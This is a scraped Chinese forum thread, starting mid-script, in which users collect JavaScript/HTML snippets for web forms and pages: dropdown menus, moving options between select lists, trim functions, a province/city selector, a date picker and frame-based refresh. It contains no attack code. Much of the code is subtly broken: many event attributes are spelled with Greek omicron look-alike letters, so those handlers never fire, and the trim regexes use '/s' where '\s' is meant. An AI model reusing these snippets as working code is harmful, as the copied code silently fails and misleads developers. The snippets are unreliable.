         '<A HREF="#" onMouseOver="Show(5,4,1)"> 目录(C)   </A> '+arrow
);
Layer[6] =   new LayerSpecs(357,15,100,
         '<A HREF="
http://ohsky.top263.net/main/dwkey.htm"> 技巧实例</A> ',
         '<A HREF="
http://ohsky.top263.net/main/dwcj.htm"> 插件扩展</A> ',
         '<A HREF="
http://ohsky.top263.net/main/dwclass.htm"> 教程下载</A> '
);
Layer[7] =   new LayerSpecs(357,33,100,
         '<A HREF="
http://ohsky.top263.net/main/flaexamp.htm"> 实例赏析</A> ',
         '<A HREF="
http://ohsky.top263.net/main/flaclass.htm"> 进阶教程</A> '
);
Layer[8] =   new LayerSpecs(357,53,100,
         '<A HREF="
http://ohsky.top263.net/main/down.htm"> 海景精华</A> ',
         '<A HREF="
http://ohsky.top263.net/main/class.htm"> 教程中心</A> ',
         '<A HREF="
http://ohsky.top263.net/main/dwcj.htm"> 插件宝库</A> '
);


//第三层菜单

Layer[5] =   new LayerSpecs(280,32,110,
         '<A HREF="
http://ohsky.top263.net/main/news.htm">新闻(N)</A> ',
         '<A HREF="
http://ohsky.top263.net/main/key.htm">技巧(T)</A> ',
         '<A HREF="
http://ohsky.top263.net/main/abme.htm">关于我(A)</A> ',
         '<A HREF="
http://www.cinews.net/book/wbq101/index.html">留言(G)</A> '
);

j = (Layer[0]) ? 0:1;
for(i=j; i<Layer.length; i++) {
   if(document.all && No3) { document.write("<SPAN onMouseOver='clearTimeout(timer)' onMouseOut='Hide("+i+")' ID='L"+i+"' STYLE='position:absolute; visibility:hidden; background:"+background+"; top:"+Layer[i].top+"; left:"+Layer[i].left+";'><TABLE STYLE='border:solid "+menu_border+" "+border_color+"'>"+Layer[i].info+"</TABLE></SPAN>"); }
   else if(document.layers && No3) { document.write("<LAYER onMouseOver='clearTimeout(timer)' onMouseOut='Hide("+i+")' ID='L"+i+"' POSITION=ABSOLUTE VISIBILITY=HIDDEN BGCOLOR='"+bgcolor+"' BACKGROUND='"+background+"' TOP="+Layer[i].top+" LEFT="+Layer[i].left+">"+Layer[i].info+"</LAYER>"); }
}
if(document.all) { document.all["menubar"].style.visibility = "visible"; }
else if(document.layers) { document.layers["menubar"].visibility = "visible"; }
// --></SCRIPT>
</BODY></HTML>

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
<Script language="JScript">
//gotourl('default_into.asp',"","","","",false);
//gotourl('oaindex.asp',"","","","",false);
var w=screen.availWidth-10;
var h=screen.availHeight-30;
//alert("fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,width=" + w + ",height=" + h + ",top=0,left=0");
var objwin = window.open('default.asp',"OAMAIN","fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,width=" + w + ",height=" + h + ",top=0,left=0",true);
objwin.focus();
</script>

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
两select框互相导入同容:

<script language="JavaScript">
function copyToList(from,to) //from表示:包含可选择项目的select对象名字 to表示:列出可选择项目的select对象名字 //你可以根据你的具体情况修改
{
  fromList = eval('document.forms[0].' + from);
  toList = eval('document.forms[0].' + to);
  if (toList.options.length > 0 && toList.options[0].value == 'temp')
  {
    toList.options.length = 0;
  }
  var sel = false;
  for (i=0;i<fromList.options.length;i++)
  {
    var current = fromList.options[i];
    if (current.selected)
    {
      sel = true;
      if (current.value == 'temp')
      {
        alert ('你不能选择这个项目!');
        return;
      }
      txt = current.text;
      val = current.value;
      toList.options[toList.length] = new Option(txt,val);
      fromList.options[i] = null;
      i--;
    }
  }
  if (!sel) alert ('你还没有选择任何项目');
}
function allSelect() //这是当用户按下提交按钮时,对列出选择的select对象执行全选工作,让递交至的后台程序能取得相关数据
{
  List = document.forms[0].chosen;
  if (List.length && List.options[0].value == 'temp') return;
  for (i=0;i<List.length;i++)
  {
     List.options[i].selected = true;
  }
}

</script>
<table border="0"> <form onSubmit="allSelect()">
              <tr>
                <td>
                  <select name="possible" size="4"
   MULTIPLE width=200 style="width: 200px">
                    <option value="1">中国广州
                    <option value="2">中国上海
                    <option value="3">中国北京
                    <option value="4">中国武汉
               
                  </select>
                </td>
                  <td><a href="javascript:copyToList('possible','chosen')">添加至右方--><br>
                    <br>
                    </a><a href="javascript:copyToList('chosen','possible')"><--添加至左方</a></td>
                <td>
                  <select name="chosen" size="4"
   MULTIPLE width=200 style="width: 200px;">
                    <option value="temp">从左边选择你的地区 
                  </select>
                </td>
              </tr>  </form>
            </table>

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
Javascript中的trim函数!


//***************************************************

<script language="javascript">
//去除空格
String.prototype.trim = function()
{
    return this.replace(/(^[/s]*)|([/s]*$)/g, "");
}

//去处左空格
String.prototype.lTrim = function()
{
    return this.replace(/(^[/s]*)/g, "");
}

//去处右空格
String.prototype.rTrim = function()
{
    return this.replace(/([/s]*$)/g, "");
}

var s = "  dfdf  ";
alert(s.length);
var ss = s.trim();
var rs = s.rTrim();
var ls = s.lTrim();
alert(ss.length);
alert(rs.length);
alert(ls.length);
</script>

另一种方法:
<script>
function String.prototype.Trim() {return this.replace(/(^/s*)|(/s*$)/g,"");}
s="   xxxxxx   ";
alert(s.Trim());
</script>

<html>
    <head>

    <title> List</title>
    
    <script language="JavaScript">

    </script>
    </head>
    <body >
    
  <form name="form1" Method="POST" action="">
  <div align="center"> </td> </tr> 
    
        <table width="100%" border="1" cellpadding="0" cellspacing="1" bordercolor="#FFFFFF" bgcolor="#000000">
        <tr>
        <td height="27" bgcolor="#6699CC">
        <div align="center"></div></td>
        </tr>
        </table>
        
    <table  width="100%" border="0" cellspacing="1" borderColorLight="#0000cc" borderColorDark="#ffffff" bgcolor="#000000" class="main">
      <tr bgcolor="#E8E8E8"> 
        <td height="26" colspan="3"> 
        <div align="center"></div></td>
        
        <tr bgcolor="#DFDFFF"> 
        <td width="11%" height="22"> 
        <p align="center">select 
        </td>
        <td width="11%"> <p align="center">
        <label  style='cursor:hand' onClick="OrderBy('GroupID');">
        Group ID</label></p></td>

        <td width="18%"> <p align="center"> 
            <label  style='cursor:hand' onClick="OrderBy('GroupName');"> 
            Group Name</label>
          </p></td>
        
                
      <tr name="tr01" id="tr01" bgcolor="#efefef"> 
        <td height="22"> 
          <div align="center"> 
                <input type="checkbox" name="0" id="0" value="001"  onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
                </div>
                
        <td> 
          <div align="center"> 001</div>
                
        <td> 
          <div align="center">Common</div></td>
                </tr>
                
                <tr name="tr11" bgcolor="#efefef"> 
                <td height="22">
                <div align="center"> 
                <input type="checkbox" name="1" value="002" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
                </div>
                <td><div align="center"> 002</div>
                <td><div align="center">344</div></td>
                </tr>
                
                <tr name="tr21" bgcolor="#efefef"> 
                <td height="22">
                <div align="center"> 
            <input type="checkbox" name="12" value="003" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
          </div>
                <td><div align="center"> 003</div>
                <td><div align="center">34</div></td>
                </tr>
                
                <tr name="tr31" bgcolor="#efefef"> 
                <td height="22">
                <div align="center"> 
            <input type="checkbox" name="13" value="004" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
          </div>
                <td><div align="center"> 004</div>
                <td><div align="center">group2</div></td>
                </tr>
                
                <tr name="tr41" bgcolor="#efefef"> 
                <td height="22">
                <div align="center"> 
            <input type="checkbox" name="14" value="005" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
          </div>
                <td><div align="center"> 006</div>
                <td><div align="center">group1</div></td>
                </tr>
                
                <tr name="tr51" bgcolor="#efefef"> 
                
        <td height="22"> 
          <div align="center"> 
            <input type="checkbox" name="15" value="006" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
          </div>
                
        <td> 
          <div align="center"> 007</div>
                
        <td> 
          <div align="center">group11</div></td>
                </tr>
                
                <tr name="tr61" bgcolor="#efefef"> 
                <td height="22">
                <div align="center"> 
            <input type="checkbox" name="16" value="007" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
          </div>
                <td><div align="center"> 008</div>
                <td><div align="center">group123</div></td>
                </tr>
                
        </table>    
        
    </div>  
   </table>
    <div align="center"> 
    <p> 
    <input type="submit" name="Submit" value="  Submit ">
    <br>
    <br>
    </p>
    </div>
    </form>

    </body>
</html>

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)


大家知道下面语句加在body中的后果吗?自已试下!

onselectstart="return false;" 


<form action="http://www.chinaleader.com/cgi-bin/register.cgi" method=post name="creator" enctype="multipart/form-data">

<script language="javascript">
<!--
var where = new Array(35); 
function comefrom(loca,locacity) { this.loca = loca; this.locacity = locacity; } 
where[0]= new comefrom("请选择省份名","请选择城市名");
where[1] = new comefrom("北京","|东城|西城|崇文|宣武|朝阳|丰台|石景山|海淀|门头沟|房山|通州|顺义|昌平|大兴|平谷|怀柔|密云|延庆"); 
where[2] = new comefrom("上海","|黄浦|卢湾|徐汇|长宁|静安|普陀|闸北|虹口|杨浦|闵行|宝山|嘉定|浦东|金山|松江|青浦|南汇|奉贤|崇明"); 
where[3] = new comefrom("天津","|和平|东丽|河东|西青|河西|津南|南开|北辰|河北|武清|红挢|塘沽|汉沽|大港|宁河|静海|宝坻|蓟县"); 
where[4] = new comefrom("重庆","|万州|涪陵|渝中|大渡口|江北|沙坪坝|九龙坡|南岸|北碚|万盛|双挢|渝北|巴南|黔江|长寿|綦江|潼南|铜梁|大足|荣昌|壁山|梁平|城口|丰都|垫江|武隆|忠县|开县|云阳|奉节|巫山|巫溪|石柱|秀山|酉阳|彭水|江津|合川|永川|南川"); 
where[5] = new comefrom("河北","|石家庄|邯郸|邢台|保定|张家口|承德|廊坊|唐山|秦皇岛|沧州|衡水"); 
where[6] = new comefrom("山西","|太原|大同|阳泉|长治|晋城|朔州|吕梁|忻州|晋中|临汾|运城"); 
where[7] = new comefrom("内蒙古","|呼和浩特|包头|乌海|赤峰|呼伦贝尔盟|阿拉善盟|哲里木盟|兴安盟|乌兰察布盟|锡林郭勒盟|巴彦淖尔盟|伊克昭盟"); 
where[8] = new comefrom("辽宁","|沈阳|大连|鞍山|抚顺|本溪|丹东|锦州|营口|阜新|辽阳|盘锦|铁岭|朝阳|葫芦岛"); 
where[9] = new comefrom("吉林","|长春|吉林|四平|辽源|通化|白山|松原|白城|延边"); 
where[10] = new comefrom("黑龙江","|哈尔滨|齐齐哈尔|牡丹江|佳木斯|大庆|绥化|鹤岗|鸡西|黑河|双鸭山|伊春|七台河|大兴安岭"); 
where[11] = new comefrom("江苏","|南京|镇江|苏州|南通|扬州|盐城|徐州|连云港|常州|无锡|宿迁|泰州|淮安"); 
where[12] = new comefrom("浙江","|杭州|宁波|温州|嘉兴|湖州|绍兴|金华|衢州|舟山|台州|丽水"); 
where[13] = new comefrom("安徽","|合肥|芜湖|蚌埠|马鞍山|淮北|铜陵|安庆|黄山|滁州|宿州|池州|淮南|巢湖|阜阳|六安|宣城|亳州"); 
where[14] = new comefrom("福建","|福州|厦门|莆田|三明|泉州|漳州|南平|龙岩|宁德"); 
where[15] = new comefrom("江西","|南昌市|景德镇|九江|鹰潭|萍乡|新馀|赣州|吉安|宜春|抚州|上饶"); 
where[16] = new comefrom("山东","|济南|青岛|淄博|枣庄|东营|烟台|潍坊|济宁|泰安|威海|日照|莱芜|临沂|德州|聊城|滨州|菏泽"); 
where[17] = new comefrom("河南","|郑州|开封|洛阳|平顶山|安阳|鹤壁|新乡|焦作|濮阳|许昌|漯河|三门峡|南阳|商丘|信阳|周口|驻马店|济源"); 
where[18] = new comefrom("湖北","|武汉|宜昌|荆州|襄樊|黄石|荆门|黄冈|十堰|恩施|潜江|天门|仙桃|随州|咸宁|孝感|鄂州");
where[19] = new comefrom("湖南","|长沙|常德|株洲|湘潭|衡阳|岳阳|邵阳|益阳|娄底|怀化|郴州|永州|湘西|张家界"); 
where[20] = new comefrom("广东","|广州|深圳|珠海|汕头|东莞|中山|佛山|韶关|江门|湛江|茂名|肇庆|惠州|梅州|汕尾|河源|阳江|清远|潮州|揭阳|云浮"); 
where[21] = new comefrom("广西","|南宁|柳州|桂林|梧州|北海|防城港|钦州|贵港|玉林|南宁地区|柳州地区|贺州|百色|河池"); 
where[22] = new comefrom("海南","|海口|三亚"); 
where[23] = new comefrom("四川","|成都|绵阳|德阳|自贡|攀枝花|广元|内江|乐山|南充|宜宾|广安|达川|雅安|眉山|甘孜|凉山|泸州"); 
where[24] = new comefrom("贵州","|贵阳|六盘水|遵义|安顺|铜仁|黔西南|毕节|黔东南|黔南"); 
where[25] = new comefrom("云南","|昆明|大理|曲靖|玉溪|昭通|楚雄|红河|文山|思茅|西双版纳|保山|德宏|丽江|怒江|迪庆|临沧");
where[26] = new comefrom("西藏","|拉萨|日喀则|山南|林芝|昌都|阿里|那曲"); 
where[27] = new comefrom("陕西","|西安|宝鸡|咸阳|铜川|渭南|延安|榆林|汉中|安康|商洛"); 
where[28] = new comefrom("甘肃","|兰州|嘉峪关|金昌|白银|天水|酒泉|张掖|武威|定西|陇南|平凉|庆阳|临夏|甘南"); 
where[29] = new comefrom("宁夏","|银川|石嘴山|吴忠|固原"); 
where[30] = new comefrom("青海","|西宁|海东|海南|海北|黄南|玉树|果洛|海西"); 
where[31] = new comefrom("新疆","|乌鲁木齐|石河子|克拉玛依|伊犁|巴音郭勒|昌吉|克孜勒苏柯尔克孜|博尔塔拉|吐鲁番|哈密|喀什|和田|阿克苏"); 
where[32] = new comefrom("香港",""); 
where[33] = new comefrom("澳门",""); 
where[34] = new comefrom("台湾","|台北|高雄|台中|台南|屏东|南投|云林|新竹|彰化|苗栗|嘉义|花莲|桃园|宜兰|基隆|台东|金门|马祖|澎湖"); 
where[35] = new comefrom("其它","|北美洲|南美洲|亚洲|非洲|欧洲|大洋洲"); 
function select() {
with(document.creator.province) { var loca2 = options[selectedIndex].value; }
for(i = 0;i < where.length;i ++) {
if (where[i].loca == loca2) {
loca3 = (where[i].locacity).split("|");
for(j = 0;j < loca3.length;j++) { with(document.creator.city) { length = loca3.length; options[j].text = loca3[j]; options[j].value = loca3[j]; var loca4=options[selectedIndex].value;}}
break;
}}
document.creator.newlocation.value=loca2+loca4;
}
function init() {
with(document.creator.province) {
length = where.length;
for(k=0;k<where.length;k++) { options[k].text = where[k].loca; options[k].value = where[k].loca; }
options[selectedIndex].text = where[0].loca; options[selectedIndex].value = where[0].loca;
}
with(document.creator.city) {
loca3 = (where[0].locacity).split("|");
length = loca3.length;
for(l=0;l<length;l++) { options[l].text = loca3[l]; options[l].value = loca3[l]; }
options[selectedIndex].text = loca3[0]; options[selectedIndex].value = loca3[0];
}}
-->
</script>
<body οnlοad="init()">
<font color=#000000><b>来自:</b><br>请输入您所在国家的具体地方。此项可选<br><br>
省份 <select name="province" onChange = "select()"></select> 城市 
<select name="city" onChange = "select()"></select><br>
我在 <input type=text name="newlocation" maxlength=12 size=12 style="font-weight: bold"> 不能超过12个字符(6个汉字)
</form> 

日期选择(纯JS)
<script language=javascript>
var DS_x,DS_y;

function dateSelector()  //构造dateSelector对象,用来实现一个日历形式的日期输入框。
{
  var myDate=new Date();
  this.year=myDate.getFullYear();  //定义year属性,年份,默认值为当前系统年份。
  this.month=myDate.getMonth()+1;  //定义month属性,月份,默认值为当前系统月份。
  this.date=myDate.getDate();  //定义date属性,日,默认值为当前系统的日。
  this.inputName='';  //定义inputName属性,即输入框的name,默认值为空。注意:在同一页中出现多个日期输入框,不能有重复的name!
  this.display=display;  //定义display方法,用来显示日期输入框。
}

function display()  //定义dateSelector的display方法,它将实现一个日历形式的日期选择框。
{
  var week=new Array('日','一','二','三','四','五','六');

  document.write("<style type=text/css>");
  document.write("  .ds_font td,span  { font: normal 12px 宋体; color: #000000; }");
  document.write("  .ds_border  { border: 1px solid #000000; cursor: hand; background-color: #DDDDDD }");
  document.write("  .ds_border2  { border: 1px solid #000000; cursor: hand; background-color: #DDDDDD }");
  document.write("</style>");

  document.write("<input style='text-align:center;' id='DS_"+this.inputName+"' name='"+this.inputName+"' value='"+this.year+"-"+this.month+"-"+this.date+"' title=双击可进行编缉 οndblclick='this.readOnly=false;this.focus()' οnblur='this.readOnly=true' readonly>");
  document.write("<button style='width:60px;height:18px;font-size:12px;margin:1px;border:1px solid #A4B3C8;background-color:#DFE7EF;' type=button οnclick=this.nextSibling.style.display='block' οnfοcus=this.blur()>选择日期</button>");

  document.write("<div style='position:absolute;display:none;text-align:center;width:0px;height:0px;overflow:visible' onselectstart='return false;'>");
  document.write("  <div style='position:absolute;left:-60px;top:20px;width:142px;height:165px;background-color:#F6F6F6;border:1px solid #245B7D;' class=ds_font>");
  document.write("    <table cellpadding=0 cellspacing=1 width=140 height=20 bgcolor=#CEDAE7 οnmοusedοwn='DS_x=event.x-parentNode.style.pixelLeft;DS_y=event.y-parentNode.style.pixelTop;setCapture();' οnmοuseup='releaseCapture();' οnmοusemοve='dsMove(this.parentNode)' style='cursor:move;'>");
  document.write("      <tr align=center>");
  document.write("        <td width=12% οnmοuseοver=this.className='ds_border' οnmοuseοut=this.className='' οnclick=subYear(this) title='减小年份'><<</td>");
  document.write("        <td width=12% οnmοuseοver=this.className='ds_border' οnmοuseοut=this.className='' οnclick=subMonth(this) title='减小月份'><</td>");
  document.write("        <td width=52%><b>"+this.year+"</b><b>年</b><b>"+this.month+"</b><b>月</b></td>");
  document.write("        <td width=12% οnmοuseοver=this.className='ds_border' οnmοuseοut=this.className='' οnclick=addMonth(this) title='增加月份'>></td>");
  document.write("        <td width=12% οnmοuseοver=this.className='ds_border' οnmοuseοut=this.className='' οnclick=addYear(this) title='增加年份'>>></td>");
  document.write("      </tr>");
  document.write("    </table>");

  document.write("    <table cellpadding=0 cellspacing=0 width=140 height=20 οnmοusedοwn='DS_x=event.x-parentNode.style.pixelLeft;DS_y=event.y-parentNode.style.pixelTop;setCapture();' οnmοuseup='releaseCapture();' οnmοusemοve='dsMove(this.parentNode)' style='cursor:move;'>");
  document.write("      <tr align=center>");
  for(i=0;i<7;i++)
   document.write("      <td>"+week[i]+"</td>");
  document.write("      </tr>");
  document.write("    </table>");

  document.write("    <table cellpadding=0 cellspacing=2 width=140 bgcolor=#EEEEEE>");
  for(i=0;i<6;i++)
  {
    document.write("    <tr align=center>");
   for(j=0;j<7;j++)
      document.write("    <td width=10% height=16 οnmοuseοver=if(this.innerText!=''&&this.className!='ds_border2')this.className='ds_border' οnmοuseοut=if(this.className!='ds_border2')this.className='' οnclick=getValue(this,document.all('DS_"+this.inputName+"'))></td>");
    document.write("    </tr>");
  }
  document.write("    </table>");

  document.write("    <span style=cursor:hand οnclick=this.parentNode.parentNode.style.display='none'>【关闭】</span>");
  document.write("  </div>");
  document.write("</div>");

  dateShow(document.all("DS_"+this.inputName).nextSibling.nextSibling.childNodes[0].childNodes[2],this.year,this.month)
}

function subYear(obj)  //减小年份
{
  var myObj=obj.parentNode.parentNode.parentNode.cells[2].childNodes;
  myObj[0].innerHTML=eval(myObj[0].innerHTML)-1;
  dateShow(obj.parentNode.parentNode.parentNode.nextSibling.nextSibling,eval(myObj[0].innerHTML),eval(myObj[2].innerHTML))
}

function addYear(obj)  //增加年份
{
  var myObj=obj.parentNode.parentNode.parentNode.cells[2].childNodes;
  myObj[0].innerHTML=eval(myObj[0].innerHTML)+1;
  dateShow(obj.parentNode.parentNode.parentNode.nextSibling.nextSibling,eval(myObj[0].innerHTML),eval(myObj[2].innerHTML))
}

function subMonth(obj)  //减小月份
{
  var myObj=obj.parentNode.parentNode.parentNode.cells[2].childNodes;
  var month=eval(myObj[2].innerHTML)-1;
  if(month==0)
  {
    month=12;
    subYear(obj);
  }
  myObj[2].innerHTML=month;
  dateShow(obj.parentNode.parentNode.parentNode.nextSibling.nextSibling,eval(myObj[0].innerHTML),eval(myObj[2].innerHTML))
}

function addMonth(obj)  //增加月份
{
  var myObj=obj.parentNode.parentNode.parentNode.cells[2].childNodes;
  var month=eval(myObj[2].innerHTML)+1;
  if(month==13)
  {
    month=1;
    addYear(obj);
  }
  myObj[2].innerHTML=month;
  dateShow(obj.parentNode.parentNode.parentNode.nextSibling.nextSibling,eval(myObj[0].innerHTML),eval(myObj[2].innerHTML))
}

function dateShow(obj,year,month)  //显示各月份的日
{
  var myDate=new Date(year,month-1,1);
  var today=new Date();
  var day=myDate.getDay();
  var selectDate=obj.parentNode.parentNode.previousSibling.previousSibling.value.split('-');
  var length;
  switch(month)
  {
    case 1:
    case 3:
    case 5:
    case 7:
    case 8:
    case 10:
    case 12:
      length=31;
      break;
    case 4:
    case 6:
    case 9:
    case 11:
      length=30;
      break;
    case 2:
      if((year%4==0)&&(year%100!=0)||(year%400==0))
        length=29;
      else
        length=28;
  }
  for(i=0;i<obj.cells.length;i++)
  {
    obj.cells[i].innerHTML='';
    obj.cells[i].style.color='';
    obj.cells[i].className='';
  }
  for(i=0;i<length;i++)
  {
    obj.cells[i+day].innerHTML=(i+1);
    if(year==today.getFullYear()&&(month-1)==today.getMonth()&&(i+1)==today.getDate())
      obj.cells[i+day].style.color='red';
    if(year==eval(selectDate[0])&&month==eval(selectDate[1])&&(i+1)==eval(selectDate[2]))
      obj.cells[i+day].className='ds_border2';
  }
}

function getValue(obj,inputObj)  //把选择的日期传给输入框
{
  var myObj=inputObj.nextSibling.nextSibling.childNodes[0].childNodes[0].cells[2].childNodes;
  if(obj.innerHTML)
    inputObj.value=myObj[0].innerHTML+"-"+myObj[2].innerHTML+"-"+obj.innerHTML;
  inputObj.nextSibling.nextSibling.style.display='none';
  for(i=0;i<obj.parentNode.parentNode.parentNode.cells.length;i++)
    obj.parentNode.parentNode.parentNode.cells[i].className='';
  obj.className='ds_border2'
}

function dsMove(obj)  //实现层的拖移
{
  if(event.button==1)
  {
    var X=obj.clientLeft;
    var Y=obj.clientTop;
    obj.style.pixelLeft=X+(event.x-DS_x);
    obj.style.pixelTop=Y+(event.y-DS_y);
  }
}
</script>

<script language=javascript>
  var myDate=new dateSelector();
  myDate.year--;
  myDate.inputName='start_date';  //注意这里设置输入框的name,同一页中日期输入框,不能出现重复的name。
  myDate.display();
</script>
 到
<script language=javascript>
  myDate.year++;
  myDate.inputName='end_date';  //注意这里设置输入框的name,同一页中的日期输入框,不能出现重复的name。
  myDate.display();
</script>

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
1   怎么样可以把图片自动变小到适应发表区的大小啊 ? 

   答:
<img src=upfile/2003312322b16g34g11.jpg οnlοad=javascript:this.width=500,this.height=375> 
2   或是怎么样可以只显示一部分的图片, 就是只显示左面的,右面的显示不显示没有问题的。 
  答:将图片放在iframe中

在线列表问题:
在线列表问题:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~```
此只为实现无刷新的JavaScript客户端所需要的相似技术
具体要跟程序结合起来。~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'~~
index.htm
<script>

function renewlook()
{
list.document.open();
list.document.close();
list.document.write("<HTML><HEAD><TITLE>聊天室</TITLE><style type=text/css>body, form, td, input, 
select, textarea {font: 9pt 宋体,Arial;}s</style></HEAD><body bgcolor=ffffff>");
}
function writeStr(tempStr)
{
list.document.write(tempStr);
}
</script>
<FRAMESET ROWS="*,60" FRAMEBORDER="0" BORDER="false">
<frameset cols="*,102" frameborder="auto" border="0" framespacing="0"> 
<FRAME SRC="show.htm" scrolling="auto" name=list>
<frame name="rightFrame" scrolling="AUTO" noresize src="about:blank">
</frameset>
<frameset cols="0,1*" frameborder="NO" border="0" framespacing="0">
<frame cols="0,0" name="hiddenframe" scrolling="NO" noresize src="about:blank">
<FRAME SRC="o.htm" SCROLLING="no" name=talk>
<frame cols="0,0" name="frshow" scrolling="NO" noresize src="about:blank">
</frameset>
</frameset><noframes>
</noframes>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~```
此只为实现无刷新的JavaScript客户端所需要的相似技术
具体要跟程序结合起来。~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'~~
o.htm

<script>
var n;
n=2;
top.renewlook();
top.writeStr("<div id=div0 name=div0>dkeoo3</div><div id=div1 name=div1>222222222</div>");
//opener.t11.innerHTML="<font οnclick=javascript:opener.writeStr('ddds');>ddd</font>";
top.writeStr('写1');
top.writeStr('写2');
top.writeStr('写3');
var i=0;
function showsss()
{
//top.list.eval('div' + i).style.display='block';
eval("top.list."+"div"+i+".style.display='block';");
i=i+1
if (i>=n)
{
i=0;
top.list.div0.style.display='none';
}
else
{
eval("top.list."+"div"+i+".style.display='none';");
}
setTimeout("showsss();",900);
}
showsss();
</script>
<font οnclick="javascript:top.writeStr('<div name=div'+n+' id=div'+n+'>'+n+'</div>');n=n+1;">
ddd
</font>
<font color=ff0000 οnclick="top.list.div5.style.display='none';">o.htm</font>
<font color=ff0000 οnclick="top.list.div5.style.display='block';">o.htm</font>
dddddddddddddddddd 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~```
此只为实现无刷新的JavaScript客户端所需要的相似技术
具体要跟程序结合起来。~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'~~
show.htm

<div name=div0 id=div0></div>
<div name=t11 id=t11><table>
<tr><td>测试</td></tr></table>
</div>
<script>

function renewlook()
{
document.open();
document.close();
document.write("<HTML><HEAD><TITLE>聊天室</TITLE><style type=text/css>body, form, td, input, 
select, textarea {font: 9pt 宋体,Arial;}s</style></HEAD><body bgcolor=ffffff>");
}
function writeStr(tempStr)
{
document.write(tempStr);
}

t11.style.display="none";
t11.style.display="block";
//t11.οnclick="window.close();document.write('dd');";
writeStr("<font style='cursor:hand' οnclick=t11.style.display='block';>显示</font>");
</script> 

用好看的图片代替一般按钮!
方法一、

<button style="background:url('yoururl/10.jpg');" >
dsfhgsdhf</button>

方法二、
<input type="image" name="Submit2" src="botton-image/botton_5.gif" width="60" height="30">
Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
<select οnchange="if(value!='')window.location.href=value">
<option>请选择</option>
<option value="
www.aspxcn.com">.NET中华网</option>
<option value="
www.google.com">Google</option>
</select>
动态改变单元格背景色和内容!
<style>
.td1{ background:#CCCCCC; color:red}
.td2{ background:#FFFFFF; color:blue}
</style>

<script>
function chg(){
var t = document.getElementById("tbl");
t.rows[0].cells[0].innerText = "改变后的字";
t.rows[0].cells[0].bgColor="red";
}
</script>
<table border="1" id=tbl >
<tr>
<td id="td1" class="td" οnmοuseοver="className='td2'" οnmοuseοut="className='td1'"  οnclick=chg()>ffasdfa</td>
<td class="td1" οnmοuseοver="className='td2';this.innerText='鼠标悬浮
'" οnmοuseοut="className='td1';this.innerText='鼠标未悬浮'">鼠标未悬浮</td>
</tr>
</table>
<input type=button value="改变字" οnclick=chg()>

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
左右列表相互导入!;


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language="JavaScript">
<!--
function addSrcToDestList() {
destList = window.document.forms[0].destList;
srcList = window.document.forms[0].srcList;
var len = destList.length;
for(var i = 0; i < srcList.length; i++) {
if ((srcList.options[i] != null) && (srcList.options[i].selected)) {

var found = false;
for(var count = 0; count < len; count++) {
if (destList.options[count] != null) {
if (srcList.options[i].text == destList.options[count].text) {
found = true;
break;
      }
   }
}
if (found != true) {
destList.options[len] = new Option(srcList.options[i].text);
len++;
         }
      }
   }
}

function deleteFromDestList() {
var destList  = window.document.forms[0].destList;
var len = destList.options.length;
for(var i = (len-1); i >= 0; i--) {
if ((destList.options[i] != null) && (destList.options[i].selected == true)) {
destList.options[i] = null;
      }
   }
}
// -->
</SCRIPT>
</head>
<body>
<center>
<form method="POST">
<table bgcolor="#FFFFCC">

<tr>
<td bgcolor="#FFFFCC" width="85">
<select size="6" name="srcList" multiple>
<option value="1">Item 1
<option value="2">Item 2
<option value="3">Item 3
<option value="4">Item 4
<option value="5">Item 5
<option value="6">Item 6
</select>
</td>
<td bgcolor="#FFFFCC" width="74" align="center">
<input type="button" value=" 增加到右边 " onClick="javascript:addSrcToDestList()">
<br><br>
<input type="button" value=" 从右边删除 " οnclick="javascript:deleteFromDestList();">
</td>
<td bgcolor="#FFFFCC" width="69">
<select size="6" name="destList" multiple>
</select>
</td>
</tr>
</table>
</form>
</body>
</html>
改变 Radio Button 背景颜色
代码如下: 
<body bgcolor="#0099FF">
<table border=0 cellpadding=10 width="100%">
<form>
<tr><td bgcolor=#00ccff>
<input type=radio name='r' value=1>【孟宪会之精彩世界】[没有设定背景颜色]<br>
<input type=radio name='r' style='background-color:#0099ff'>【孟宪会之精彩世界】[设定和表格背景相同的颜色]<br>
<input type=radio name='r' style='background-color:#00cdff'>【孟宪会之精彩世界】[设定和表格背景相近的颜色]<br>
</td></tr>
</form>
</table>

表格排序
<HTML>
<HEAD>
